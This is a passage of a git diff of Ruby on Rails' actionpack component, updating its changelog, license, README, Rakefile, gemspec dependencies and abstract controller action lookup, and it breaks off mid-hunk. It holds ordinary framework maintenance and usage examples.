- *tumayun + Carlos Antonio da Silva*
-
-* Render every partial with a new `ActionView::PartialRenderer`. This resolves
- issues when rendering nested partials.
- Fix #8197
-
- *Yves Senn*
-
-* Introduce `ActionView::Template::Handlers::ERB.escape_whitelist`. This is a list
- of mime types where template text is not html escaped by default. It prevents `Jack & Joe`
- from rendering as `Jack &amp; Joe` for the whitelisted mime types. The default whitelist
- contains text/plain. Fix #7976
-
- *Joost Baaij*
-
-* Fix input name when `:multiple => true` and `:index` are set.
-
- Before:
-
- check_box("post", "comment_ids", { :multiple => true, :index => "foo" }, 1)
- #=> <input name=\"post[foo][comment_ids]\" type=\"hidden\" value=\"0\" /><input id=\"post_foo_comment_ids_1\" name=\"post[foo][comment_ids]\" type=\"checkbox\" value=\"1\" />
-
- After:
-
- check_box("post", "comment_ids", { :multiple => true, :index => "foo" }, 1)
- #=> <input name=\"post[foo][comment_ids][]\" type=\"hidden\" value=\"0\" /><input id=\"post_foo_comment_ids_1\" name=\"post[foo][comment_ids][]\" type=\"checkbox\" value=\"1\" />
-
- Fix #8108
-
- *Daniel Fox, Grant Hutchins & Trace Wax*
-
-* Clear url helpers when reloading routes.
-
- *Santiago Pastorino*
-
-* `BestStandardsSupport` middleware now appends it's `X-UA-Compatible` value to app's
- returned value if any. Fix #8086
-
- *Nikita Afanasenko*
-
-* `date_select` helper accepts `with_css_classes: true` to add css classes similar with type
- of generated select tags.
-
- *Pavel Nikitin*
-
-* Only non-js/css under app/assets path will be included in default config.assets.precompile.
-
- *Josh Peek*
-
-* Remove support for the RAILS_ASSET_ID environment configuration
- (no longer needed now that we have the asset pipeline).
-
- *Josh Peek*
-
-* Remove old asset_path configuration (no longer needed now that we have the asset pipeline).
-
- *Josh Peek*
-
-* `assert_template` can be used to assert on the same template with different locals
- Fix #3675
-
- *Yves Senn*
-
-* Remove old asset tag concatenation (no longer needed now that we have the asset pipeline).
-
- *Josh Peek*
-
-* Accept :remote as symbolic option for `link_to` helper. *Riley Lynch*
-
-* Warn when the `:locals` option is passed to `assert_template` outside of a view test case
- Fix #3415
-
- *Yves Senn*
-
-* The `Rack::Cache` middleware is now disabled by default. To enable it,
- set `config.action_dispatch.rack_cache = true` and add `gem rack-cache` to your Gemfile.
-
- *Guillermo Iguaran*
-
-* `ActionController::Base.page_cache_extension` option is deprecated
- in favour of `ActionController::Base.default_static_extension`.
-
- *Francesco Rodriguez*
-
-* Action and Page caching has been extracted from Action Dispatch
- as `actionpack-action_caching` and `actionpack-page_caching` gems.
- Please read the `README.md` file on both gems for the usage.
-
- *Francesco Rodriguez*
-
-* Failsafe exception returns text/plain. *Steve Klabnik*
-
-* Remove `rack-cache` dependency from Action Pack and declare it on Gemfile
-
- *Guillermo Iguaran*
-
-* Rename internal variables on ActionController::TemplateAssertions to prevent
- naming collisions. @partials, @templates and @layouts are now prefixed with an underscore.
- Fix #7459
-
- *Yves Senn*
-
-* `resource` and `resources` don't modify the passed options hash
- Fix #7777
-
- *Yves Senn*
-
-* Precompiled assets include aliases from foo.js to foo/index.js and vice versa.
-
- # Precompiles phone-<digest>.css and aliases phone/index.css to phone.css.
- config.assets.precompile = [ 'phone.css' ]
-
- # Precompiles phone/index-<digest>.css and aliases phone.css to phone/index.css.
- config.assets.precompile = [ 'phone/index.css' ]
-
- # Both of these work with either precompile thanks to their aliases.
- <%= stylesheet_link_tag 'phone', media: 'all' %>
- <%= stylesheet_link_tag 'phone/index', media: 'all' %>
-
- *Jeremy Kemper*
-
-* `assert_template` is no more passing with what ever string that matches
- with the template name.
-
- Before when we have a template `/layout/hello.html.erb`, `assert_template`
- was passing with any string that matches. This behavior allowed false
- positive like:
-
- assert_template "layout"
- assert_template "out/hello"
-
- Now it only passes with:
-
- assert_template "layout/hello"
- assert_template "hello"
-
- Fixes #3849.
-
- *Hugolnx*
-
-* `image_tag` will set the same width and height for image if numerical value
- passed to `size` option.
-
- *Nihad Abbasov*
-
-* Deprecate Mime::Type#verify_request? and Mime::Type.browser_generated_types,
- since they are no longer used inside of Rails, they will be removed in Rails 4.1
-
- *Michael Grosser*
-
-* `ActionDispatch::Http::UploadedFile` now delegates `close` to its tempfile. *Sergio Gil*
-
-* Add `ActionController::StrongParameters`, this module converts `params` hash into
- an instance of ActionController::Parameters that allows whitelisting of permitted
- parameters. Non-permitted parameters are forbidden to be used in Active Model by default
- For more details check the documentation of the module or the
- [strong_parameters gem](https://github.com/rails/strong_parameters)
-
- *DHH + Guillermo Iguaran*
-
-* Remove Integration between `attr_accessible`/`attr_protected` and
- `ActionController::ParamsWrapper`. ParamWrapper now wraps all the parameters returned
- by the class method attribute_names
-
- *Guillermo Iguaran*
-
-* Fix #7646, the log now displays the correct status code when an exception is raised.
-
- *Yves Senn*
-
-* Allow pass couple extensions to `ActionView::Template.register_template_handler` call.
-
- *Tima Maslyuchenko*
-
-* Sprockets integration has been extracted from Action Pack to the `sprockets-rails`
- gem. `rails` gem is depending on `sprockets-rails` by default.
-
- *Guillermo Iguaran*
-
-* `ActionDispatch::Session::MemCacheStore` now uses `dalli` instead of the deprecated
- `memcache-client` gem. As side effect the autoloading of unloaded classes objects
- saved as values in session isn't supported anymore when mem_cache session store is
- used, this can have an impact in apps only when config.cache_classes is false.
-
- *Arun Agrawal + Guillermo Iguaran*
-
-* Support multiple etags in If-None-Match header. *Travis Warlick*
-
-* Allow to configure how unverified request will be handled using `:with`
- option in `protect_from_forgery` method.
-
- Valid unverified request handling methods are:
-
- - `:exception` - Raises ActionController::InvalidAuthenticityToken exception.
- - `:reset_session` - Resets the session.
- - `:null_session` - Provides an empty session during request but doesn't
- reset it completely. Used as default if `:with` option is not specified.
-
- New applications are generated with:
-
- protect_from_forgery :with => :exception
-
- *Sergey Nartimov*
-
-* Add .ruby template handler, this handler simply allows arbitrary Ruby code as a template. *Guillermo Iguaran*
-
-* Add `separator` option for `ActionView::Helpers::TextHelper#excerpt`:
-
- excerpt('This is a very beautiful morning', 'very', :separator => ' ', :radius => 1)
- # => ...a very beautiful...
-
- *Guirec Corbel*
-
-* Added controller-level etag additions that will be part of the action etag computation *Jeremy Kemper/DHH*
-
- class InvoicesController < ApplicationController
- etag { current_user.try :id }
-
- def show
- # Etag will differ even for the same invoice when it's viewed by a different current_user
- @invoice = Invoice.find(params[:id])
- fresh_when(@invoice)
- end
- end
-
-* Add automatic template digests to all `CacheHelper#cache` calls (originally spiked in the cache_digests plugin) *DHH*
-
-* When building a URL fails, add missing keys provided by Journey. Failed URL
- generation now returns a 500 status instead of a 404.
-
- *Richard Schneeman*
-
-* Deprecate availbility of `ActionView::RecordIdentifier` in controllers by default.
- It's view specific and can be easily included in controller manually if someone
- really needs it. RecordIdentifier will be removed from `ActionController::Base`
- in Rails 4.1. *Piotr Sarnacki*
-
-* Fix `ActionView::RecordIdentifier` to work as a singleton. *Piotr Sarnacki*
-
-* Deprecate `Template#mime_type`, it will be removed in Rails 4.1 in favor of `#type`.
- *Piotr Sarnacki*
-
-* Move vendored html-scanner from `action_controller` to `action_view` directory. If you
- require it directly, please use 'action_view/vendor/html-scanner', reference to
- 'action_controller/vendor/html-scanner' will be removed in Rails 4.1. *Piot Sarnacki*
-
-* Fix handling of date selects when using both disabled and discard options.
- Fixes #7431.
-
- *Vasiliy Ermolovich*
-
-* `ActiveRecord::SessionStore` is extracted out of Rails into a gem `activerecord-session_store`.
- Setting `config.session_store` to `:active_record_store` will no longer work and will break
- if the `activerecord-session_store` gem isn't available. *Prem Sichanugrist*
-
-* Fix `select_tag` when `option_tags` is nil.
- Fixes #7404.
-
- *Sandeep Ravichandran*
-
-* Add `Request#formats=(extensions)` that lets you set multiple formats directly in a prioritized order.
-
- Example of using this for custom iphone views with an HTML fallback:
-
- class ApplicationController < ActionController::Base
- before_filter :adjust_format_for_iphone_with_html_fallback
-
- private
- def adjust_format_for_iphone_with_html_fallback
- request.formats = [ :iphone, :html ] if request.env["HTTP_USER_AGENT"][/iPhone/]
- end
- end
-
- *DHH*
-
-* Add Routing Concerns to declare common routes that can be reused inside
- others resources and routes.
-
- Code before:
-
- resources :messages do
- resources :comments
- end
-
- resources :posts do
- resources :comments
- resources :images, only: :index
- end
-
- Code after:
-
- concern :commentable do
- resources :comments
- end
-
- concern :image_attachable do
- resources :images, only: :index
- end
-
- resources :messages, concerns: :commentable
-
- resources :posts, concerns: [:commentable, :image_attachable]
-
- *DHH + Rafael Mendonça França*
-
-* Add `start_hour` and `end_hour` options to the `select_hour` helper. *Evan Tann*
-
-* Raises an `ArgumentError` when the first argument in `form_for` contain `nil`
- or is empty.
-
- *Richard Schneeman*
-
-* Add 'X-Frame-Options' => 'SAMEORIGIN'
- 'X-XSS-Protection' => '1; mode=block' and
- 'X-Content-Type-Options' => 'nosniff'
- as default headers.
-
- *Egor Homakov*
-
-* Allow data attributes to be set as a first-level option for form_for, so you can write `form_for @record, data: { behavior: 'autosave' }` instead of `form_for @record, html: { data: { behavior: 'autosave' } }` *DHH*
-
-* Deprecate `button_to_function` and `link_to_function` helpers.
-
- We recommend the use of Unobtrusive JavaScript instead. For example:
-
- link_to "Greeting", "#", :class => "nav_link"
-
- $(function() {
- $('.nav_link').click(function() {
- // Some complex code
-
- return false;
- });
- });
-
- or
-
- link_to "Greeting", '#', onclick: "alert('Hello world!'); return false", class: "nav_link"
-
- for simple cases.
-
- *Rafael Mendonça França*
-
-* `javascript_include_tag :all` will now not include `application.js` if the file does not exists. *Prem Sichanugrist*
-
-* Send an empty response body when call `head` with status between 100 and 199, 204, 205 or 304.
-
- *Armand du Plessis*
-
-* Fixed issue with where digest authentication would not work behind a proxy. *Arthur Smith*
-
-* Added `ActionController::Live`. Mix it in to your controller and you can
- stream data to the client live. For example:
-
- class FooController < ActionController::Base
- include ActionController::Live
-
- def index
- 100.times {
- # Client will see this as it's written
- response.stream.write "hello world\n"
- sleep 1
- }
- response.stream.close
- end
- end
-
- *Aaron Patterson*
-
-* Remove `ActionDispatch::Head` middleware in favor of `Rack::Head`. *Santiago Pastorino*
-
-* Deprecate `:confirm` in favor of `:data => { :confirm => "Text" }` option for `button_to`, `button_tag`, `image_submit_tag`, `link_to` and `submit_tag` helpers.
-
- *Carlos Galdino + Rafael Mendonça França*
-
-* Show routes in exception page while debugging a `RoutingError` in development. *Richard Schneeman and Mattt Thompson*
-
-* Add `ActionController::Flash.add_flash_types` method to allow people to register their own flash types. e.g.:
-
- class ApplicationController
- add_flash_types :error, :warning
- end
-
- If you add the above code, you can use `<%= error %>` in an erb, and `redirect_to /foo, :error => 'message'` in a controller.
-
- *kennyj*
-
-* Remove Active Model dependency from Action Pack. *Guillermo Iguaran*
-
-* Support unicode characters in routes. Route will be automatically escaped, so instead of manually escaping:
-
- get Rack::Utils.escape('ã“ã‚“ã«ã¡ã¯') => 'home#index'
-
- You just have to write the unicode route:
-
- get 'ã“ã‚“ã«ã¡ã¯' => 'home#index'
-
- *kennyj*
-
-* Return proper format on exceptions. *Santiago Pastorino*
-
-* Allow to use `mounted_helpers` (helpers for accessing mounted engines) in `ActionView::TestCase`. *Piotr Sarnacki*
-
-* Include `mounted_helpers` (helpers for accessing mounted engines) in `ActionDispatch::IntegrationTest` by default. *Piotr Sarnacki*
-
-* Extracted redirect logic from `ActionController::ForceSSL::ClassMethods.force_ssl` into `ActionController::ForceSSL#force_ssl_redirect`
-
- *Jeremy Friesen*
-
-* Make possible to use a block in `button_to` if the button text is hard
- to fit into the name parameter, e.g.:
-
- <%= button_to [:make_happy, @user] do %>
- Make happy <strong><%= @user.name %></strong>
- <% end %>
- # => "<form method="post" action="/users/1/make_happy" class="button_to">
- # <div>
- # <button type="submit">
- # Make happy <strong>Name</strong>
- # </button>
- # </div>
- # </form>"
-
- *Sergey Nartimov*
-
-* change a way of ordering helpers from several directories. Previously,
- when loading helpers from multiple paths, all of the helpers files were
- gathered into one array an then they were sorted. Helpers from different
- directories should not be mixed before loading them to make loading more
- predictable. The most common use case for such behavior is loading helpers
- from engines. When you load helpers from application and engine Foo, in
- that order, first rails will load all of the helpers from application,
- sorted alphabetically and then it will do the same for Foo engine.
-
- *Piotr Sarnacki*
-
-* `truncate` now always returns an escaped HTML-safe string. The option `:escape` can be used as
- false to not escape the result.
-
- *Li Ellis Gallardo + Rafael Mendonça França*
-
-* `truncate` now accepts a block to show extra content when the text is truncated. *Li Ellis Gallardo*
-
-* Add `week_field`, `week_field_tag`, `month_field`, `month_field_tag`, `datetime_local_field`,
- `datetime_local_field_tag`, `datetime_field` and `datetime_field_tag` helpers. *Carlos Galdino*
-
-* Add `color_field` and `color_field_tag` helpers. *Carlos Galdino*
-
-* `assert_generates`, `assert_recognizes`, and `assert_routing` all raise
- `Assertion` instead of `RoutingError` *David Chelimsky*
-
-* URL path parameters with invalid encoding now raise ActionController::BadRequest. *Andrew White*
-
-* Malformed query and request parameter hashes now raise ActionController::BadRequest. *Andrew White*
-
-* Add `divider` option to `grouped_options_for_select` to generate a separator
- `optgroup` automatically, and deprecate `prompt` as third argument, in favor
- of using an options hash. *Nicholas Greenfield*
-
-* Add `time_field` and `time_field_tag` helpers which render an `input[type="time"]` tag. *Alex Soulim*
-
-* Removed old text_helper apis for highlight, excerpt and word_wrap *Jeremy Walker*
-
-* Templates without a handler extension now raises a deprecation warning but still
- defaults to ERb. In future releases, it will simply return the template contents. *Steve Klabnik*
-
-* Deprecate `:disable_with` in favor of `:data => { :disable_with => "Text" }` option from `submit_tag`, `button_tag` and `button_to` helpers.
-
- *Carlos Galdino + Rafael Mendonça França*
-
-* Remove `:mouseover` option from `image_tag` helper. *Rafael Mendonça França*
-
-* The `select` method (select tag) forces :include_blank if `required` is true and
- `display size` is one and `multiple` is not true. *Angelo Capilleri*
-
-* Copy literal route constraints to defaults so that url generation know about them.
- The copied constraints are `:protocol`, `:subdomain`, `:domain`, `:host` and `:port`.
-
- *Andrew White*
-
-* `respond_to` and `respond_with` now raise ActionController::UnknownFormat instead
- of directly returning head 406. The exception is rescued and converted to 406
- in the exception handling middleware. *Steven Soroka*
-
-* Allows `assert_redirected_to` to match against a regular expression. *Andy Lindeman*
-
-* Add backtrace to development routing error page. *Richard Schneeman*
-
-* Replace `include_seconds` boolean argument with `:include_seconds => true` option
- in `distance_of_time_in_words` and `time_ago_in_words` signature. *Dmitriy Kiriyenko*
-
-* Make current object and counter (when it applies) variables accessible when
- rendering templates with :object / :collection. *Carlos Antonio da Silva*
-
-* JSONP now uses mimetype text/javascript instead of application/json. *omjokine*
-
-* Allow to lazy load `default_form_builder` by passing a `String` instead of a constant. *Piotr Sarnacki*
-
-* Session arguments passed to `process` calls in functional tests are now merged into
- the existing session, whereas previously they would replace the existing session.
- This change may break some existing tests if they are asserting the exact contents of
- the session but should not break existing tests that only assert individual keys.
-
- *Andrew White*
-
-* Add `index` method to FormBuilder class. *Jorge Bejar*
-
-* Remove the leading \n added by textarea on assert_select. *Santiago Pastorino*
-
-* Changed default value for `config.action_view.embed_authenticity_token_in_remote_forms`
- to `false`. This change breaks remote forms that need to work also without javascript,
- so if you need such behavior, you can either set it to `true` or explicitly pass
- `:authenticity_token => true` in form options
-
-* Added ActionDispatch::SSL middleware that when included force all the requests to be under HTTPS protocol. *Rafael Mendonça França*
-
-* Add `include_hidden` option to select tag. With `:include_hidden => false` select with `multiple` attribute doesn't generate hidden input with blank value. *Vasiliy Ermolovich*
-
-* Removed default `size` option from the `text_field`, `search_field`, `telephone_field`, `url_field`, `email_field` helpers. *Philip Arndt*
-
-* Removed default `cols` and `rows` options from the `text_area` helper. *Philip Arndt*
-
-* Adds support for layouts when rendering a partial with a given collection. *serabe*
-
-* Allows the route helper `root` to take a string argument. For example, `root 'pages#main'`. *bcardarella*
-
-* Forms of persisted records use always PATCH (via the `_method` hack). *fxn*
-
-* For resources, both PATCH and PUT are routed to the `update` action. *fxn*
-
-* Don't ignore `force_ssl` in development. This is a change of behavior - use a `:if` condition to recreate the old behavior.
-
- class AccountsController < ApplicationController
- force_ssl :if => :ssl_configured?
-
- def ssl_configured?
- !Rails.env.development?
- end
- end
-
- *Pat Allan*
-
-* Adds support for the PATCH verb:
- * Request objects respond to `patch?`.
- * Routes have a new `patch` method, and understand `:patch` in the
- existing places where a verb is configured, like `:via`.
- * New method `patch` available in functional tests.
- * If `:patch` is the default verb for updates, edits are
- tunneled as PATCH rather than as PUT, and routing acts accordingly.
- * New method `patch_via_redirect` available in integration tests.
-
- *dlee*
-
-* Integration tests support the `OPTIONS` method. *Jeremy Kemper*
-
-* `expires_in` accepts a `must_revalidate` flag. If true, "must-revalidate"
- is added to the Cache-Control header. *fxn*
-
-* Add `date_field` and `date_field_tag` helpers which render an `input[type="date"]` tag *Olek Janiszewski*
-
-* Adds `image_url`, `javascript_url`, `stylesheet_url`, `audio_url`, `video_url`, and `font_url`
- to assets tag helper. These URL helpers will return the full path to your assets. This is useful
- when you are going to reference this asset from external host. *Prem Sichanugrist*
-
-* Default responder will now always use your overridden block in `respond_with` to render your response. *Prem Sichanugrist*
-
-* Allow `value_method` and `text_method` arguments from `collection_select` and
- `options_from_collection_for_select` to receive an object that responds to `:call`,
- such as a `proc`, to evaluate the option in the current element context. This works
- the same way with `collection_radio_buttons` and `collection_check_boxes`.
-
- *Carlos Antonio da Silva + Rafael Mendonça França*
-
-* Add `collection_check_boxes` form helper, similar to `collection_select`:
- Example:
-
- collection_check_boxes :post, :author_ids, Author.all, :id, :name
- # Outputs something like:
- <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" />
- <label for="post_author_ids_1">D. Heinemeier Hansson</label>
- <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
- <label for="post_author_ids_2">D. Thomas</label>
- <input name="post[author_ids][]" type="hidden" value="" />
-
- The label/check_box pairs can be customized with a block.
-
- *Carlos Antonio da Silva + Rafael Mendonça França*
-
-* Add `collection_radio_buttons` form helper, similar to `collection_select`:
- Example:
-
- collection_radio_buttons :post, :author_id, Author.all, :id, :name
- # Outputs something like:
- <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" />
- <label for="post_author_id_1">D. Heinemeier Hansson</label>
- <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
- <label for="post_author_id_2">D. Thomas</label>
-
- The label/radio_button pairs can be customized with a block.
-
- *Carlos Antonio da Silva + Rafael Mendonça França*
-
-* check_box with `:form` html5 attribute will now replicate the `:form`
- attribute to the hidden field as well. *Carlos Antonio da Silva*
-
-* Turn off verbose mode of rack-cache, we still have X-Rack-Cache to
- check that info. Closes #5245. *Santiago Pastorino*
-
-* `label` form helper accepts :for => nil to not generate the attribute. *Carlos Antonio da Silva*
-
-* Add `:format` option to number_to_percentage *Rodrigo Flores*
-
-* Add `config.action_view.logger` to configure logger for Action View. *Rafael Mendonça França*
-
-* Deprecated `ActionController::Integration` in favour of `ActionDispatch::Integration`.
-
-* Deprecated `ActionController::IntegrationTest` in favour of `ActionDispatch::IntegrationTest`.
-
-* Deprecated `ActionController::PerformanceTest` in favour of `ActionDispatch::PerformanceTest`.
-
-* Deprecated `ActionController::AbstractRequest` in favour of `ActionDispatch::Request`.
-
-* Deprecated `ActionController::Request` in favour of `ActionDispatch::Request`.
-
-* Deprecated `ActionController::AbstractResponse` in favour of `ActionDispatch::Response`.
-
-* Deprecated `ActionController::Response` in favour of `ActionDispatch::Response`.
-
-* Deprecated `ActionController::Routing` in favour of `ActionDispatch::Routing`.
-
-* `check_box helper` with `:disabled => true` will generate a disabled
- hidden field to conform with the HTML convention where disabled fields are
- not submitted with the form. This is a behavior change, previously the hidden
- tag had a value of the disabled checkbox. *Tadas Tamosauskas*
-
-* `favicon_link_tag` helper will now use the favicon in app/assets by default. *Lucas Caton*
-
-* `ActionView::Helpers::TextHelper#highlight` now defaults to the
- HTML5 `mark` element. *Brian Cardarella*
-
-Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/actionpack/CHANGELOG.md) for previous changes.
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionpack/CHANGELOG.md) for previous changes.
diff --git a/actionpack/MIT-LICENSE b/actionpack/MIT-LICENSE
index 810daf856c..d58dd9ed9b 100644
--- a/actionpack/MIT-LICENSE
+++ b/actionpack/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2012 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/actionpack/README.rdoc b/actionpack/README.rdoc
index ccd0193515..02a24a7412 100644
--- a/actionpack/README.rdoc
+++ b/actionpack/README.rdoc
@@ -10,18 +10,13 @@ It consists of several modules:
* Action Dispatch, which parses information about the web request, handles
routing as defined by the user, and does advanced processing related to HTTP
- such as MIME-type negotiation, decoding parameters in POST/PUT bodies,
+ such as MIME-type negotiation, decoding parameters in POST, PATCH, or PUT bodies,
handling HTTP caching logic, cookies and sessions.
* Action Controller, which provides a base controller class that can be
subclassed to implement filters and actions to handle requests. The result
of an action is typically content generated from views.
-* Action View, which handles view template lookup and rendering, and provides
- view helpers that assist when building HTML forms, Atom feeds and more.
- Template formats that Action View handles are ERB (embedded Ruby, typically
- used to inline short Ruby snippets inside HTML), and XML Builder.
-
With the Ruby on Rails framework, users only directly interface with the
Action Controller module. Necessary Action Dispatch functionality is activated
by default and Action View rendering is implicitly triggered by Action
@@ -53,6 +48,11 @@ API documentation is at
* http://api.rubyonrails.org
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/actionpack/RUNNING_UNIT_TESTS b/actionpack/RUNNING_UNIT_TESTS
deleted file mode 100644
index 1b29abd2d1..0000000000
--- a/actionpack/RUNNING_UNIT_TESTS
+++ /dev/null
@@ -1,27 +0,0 @@
-== Running with Rake
-
-The easiest way to run the unit tests is through Rake. The default task runs
-the entire test suite for all classes. For more information, checkout the
-full array of rake tasks with "rake -T"
-
-Rake can be found at http://rake.rubyforge.org
-
-== Running by hand
-
-To run a single test suite
-
- rake test TEST=path/to/test.rb
-
-which can be further narrowed down to one test:
-
- rake test TEST=path/to/test.rb TESTOPTS="--name=test_something"
-
-== Dependency on Active Record and database setup
-
-Test cases in the test/active_record/ directory depend on having
-activerecord and sqlite installed. If Active Record is not in
-actionpack/../activerecord directory, or the sqlite rubygem is not installed,
-these tests are skipped.
-
-Other tests are runnable from a fresh copy of actionpack without any configuration.
-
diff --git a/actionpack/Rakefile b/actionpack/Rakefile
index 50e3bb0d48..4b60b77759 100644
--- a/actionpack/Rakefile
+++ b/actionpack/Rakefile
@@ -1,42 +1,30 @@
require 'rake/testtask'
-require 'rake/packagetask'
require 'rubygems/package_task'
+test_files = Dir.glob('test/**/*_test.rb')
+
desc "Default Task"
task :default => :test
# Run the unit tests
-
-desc "Run all unit tests"
-task :test => [:test_action_pack, :test_active_record_integration]
-
-Rake::TestTask.new(:test_action_pack) do |t|
+Rake::TestTask.new do |t|
t.libs << 'test'
# make sure we include the tests in alphabetical order as on some systems
# this will not happen automatically and the tests (as a whole) will error
- t.test_files = Dir.glob('test/{abstract,controller,dispatch,template,assertions}/**/*_test.rb').sort
+ t.test_files = test_files.sort
t.warning = true
t.verbose = true
+ t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
end
namespace :test do
- Rake::TestTask.new(:isolated) do |t|
- t.libs << 'test'
- t.pattern = 'test/ts_isolated.rb'
+ task :isolated do
+ test_files.all? do |file|
+ sh(Gem.ruby, '-w', '-Ilib:test', file)
+ end or raise "Failures"
end
-
- Rake::TestTask.new(:template) do |t|
- t.libs << 'test'
- t.pattern = 'test/template/**/*.rb'
- end
-end
-
-desc 'ActiveRecord Integration Tests'
-Rake::TestTask.new(:test_active_record_integration) do |t|
- t.libs << 'test'
- t.test_files = Dir.glob("test/activerecord/*_test.rb")
end
spec = eval(File.read('actionpack.gemspec'))
@@ -45,7 +33,7 @@ Gem::PackageTask.new(spec) do |p|
p.gem_spec = spec
end
-desc "Release to gemcutter"
+desc "Release to rubygems"
task :release => :package do
require 'rake/gemcutter'
Rake::Gemcutter::Tasks.new(spec).define
@@ -53,25 +41,13 @@ task :release => :package do
end
task :lines do
- lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
-
- FileList["lib/**/*.rb"].each do |file_name|
- next if file_name =~ /vendor/
- File.open(file_name, 'r') do |f|
- while line = f.gets
- lines += 1
- next if line =~ /^\s*$/
- next if line =~ /^\s*#/
- codelines += 1
- end
- end
- puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
-
- total_lines += lines
- total_codelines += codelines
-
- lines, codelines = 0, 0
- end
+ load File.expand_path('..', File.dirname(__FILE__)) + '/tools/line_statistics'
+ files = FileList["lib/**/*.rb"]
+ CodeTools::LineStatistics.new(files).print_loc
+end
- puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
+rule '.rb' => '.y' do |t|
+ sh "racc -l -o #{t.name} #{t.source}"
end
+
+task compile: 'lib/action_dispatch/journey/parser.rb'
diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec
index 89fdd528c2..0f5880c1a7 100644
--- a/actionpack/actionpack.gemspec
+++ b/actionpack/actionpack.gemspec
@@ -7,7 +7,7 @@ Gem::Specification.new do |s|
s.summary = 'Web-flow and rendering framework putting the VC in MVC (part of Rails).'
s.description = 'Web apps on Rails. Simple, battle-tested conventions for building and testing MVC web applications. Works with any Rack-compatible server.'
- s.required_ruby_version = '>= 1.9.3'
+ s.required_ruby_version = '>= 2.1.0'
s.license = 'MIT'
@@ -20,12 +20,12 @@ Gem::Specification.new do |s|
s.requirements << 'none'
s.add_dependency 'activesupport', version
- s.add_dependency 'builder', '~> 3.1.0'
- s.add_dependency 'rack', '~> 1.4.1'
- s.add_dependency 'rack-test', '~> 0.6.1'
- s.add_dependency 'journey', '~> 2.0.0'
- s.add_dependency 'erubis', '~> 2.7.0'
+
+ s.add_dependency 'rack', '~> 1.6.0.beta2'
+ s.add_dependency 'rack-test', '~> 0.6.2'
+ s.add_dependency 'rails-html-sanitizer', '~> 1.0', '>= 1.0.1'
+ s.add_dependency 'rails-dom-testing', '~> 1.0', '>= 1.0.5'
+ s.add_dependency 'actionview', version
s.add_development_dependency 'activemodel', version
- s.add_development_dependency 'tzinfo', '~> 0.3.33'
end
diff --git a/actionpack/lib/abstract_controller.rb b/actionpack/lib/abstract_controller.rb
index 867a7954e0..fe9802e395 100644
--- a/actionpack/lib/abstract_controller.rb
+++ b/actionpack/lib/abstract_controller.rb
@@ -10,12 +10,11 @@ module AbstractController
autoload :Base
autoload :Callbacks
autoload :Collector
+ autoload :DoubleRenderError, "abstract_controller/rendering"
autoload :Helpers
- autoload :Layouts
autoload :Logger
autoload :Rendering
autoload :Translation
autoload :AssetPaths
- autoload :ViewPaths
autoload :UrlFor
end
diff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb
index 56dc9ab7a1..51c661f735 100644
--- a/actionpack/lib/abstract_controller/base.rb
+++ b/actionpack/lib/abstract_controller/base.rb
@@ -8,7 +8,8 @@ module AbstractController
class Error < StandardError #:nodoc:
end
- class ActionNotFound < StandardError #:nodoc:
+ # Raised when a non-existing controller action is triggered.
+ class ActionNotFound < StandardError
end
# <tt>AbstractController::Base</tt> is a low-level API. Nobody should be
@@ -35,7 +36,7 @@ module AbstractController
end
def inherited(klass) # :nodoc:
- # define the abstract ivar on subclasses so that we don't get
+ # Define the abstract ivar on subclasses so that we don't get
# uninitialized ivar warnings
unless klass.instance_variable_defined?(:@abstract)
klass.instance_variable_set(:@abstract, false)
@@ -81,7 +82,7 @@ module AbstractController
# Except for public instance methods of Base and its ancestors
internal_methods +
# Be sure to include shadowed public instance methods of this class
- public_instance_methods(false)).uniq.map { |x| x.to_s } -
+ public_instance_methods(false)).uniq.map(&:to_s) -
# And always exclude explicitly hidden actions
hidden_actions.to_a
@@ -120,14 +121,14 @@ module AbstractController
#
# The actual method that is called is determined by calling
# #method_for_action. If no method can handle the action, then an
- # ActionNotFound error is raised.
+ # AbstractController::ActionNotFound error is raised.
#
# ==== Returns
# * <tt>self</tt>
def process(action, *args)
- @_action_name = action_name = action.to_s
+ @_action_name = action.to_s
- unless action_name = method_for_action(action_name)
+ unless action_name = _find_action_name(@_action_name)
raise ActionNotFound, "The action '#{action}' could not be found for #{self.class.name}"
end
@@ -160,7 +161,15 @@ module AbstractController
# ==== Returns
# * <tt>TrueClass</tt>, <tt>FalseClass</tt>
def available_action?(action_name)
- method_for_action(action_name).present?
+ _find_action_name(action_name).present?
+ end
+
+ # Returns true if the given controller is capable of rendering
+ # a path. A subclass of +AbstractController::Base+
+ # may return false. An Email controller for example does not
+ # support paths, only full URLs.
+ def self.supports_path?
+ true
end
private
@@ -204,6 +213,24 @@ module AbstractController
end
# Takes an action name and returns the name of the method that will
+ # handle the action.
+ #
+ # It checks if the action name is valid and returns false otherwise.
+ #
+ # See method_for_action for more information.
+ #
+ # ==== Parameters
+ # * <tt>action_name</tt> - An action name to find a method name for
+ #
+ # ==== Returns
+ # * <tt>string</tt> - The name of the method that handles the action
+ # * false - No valid method name could be found.
+ # Raise AbstractController::ActionNotFound.
+ def _find_action_name(action_name)
+ _valid_action_name?(action_name) && method_for_action(action_name)
+ end
+
+ # Takes an action name and returns the name of the method that will
# handle the action. In normal cases, this method returns the same
# name as it receives. By default, if #method_for_action receives
# a name that is not an action, it will look for an #action_missing
@@ -218,14 +245,14 @@ module AbstractController
# the case.
#
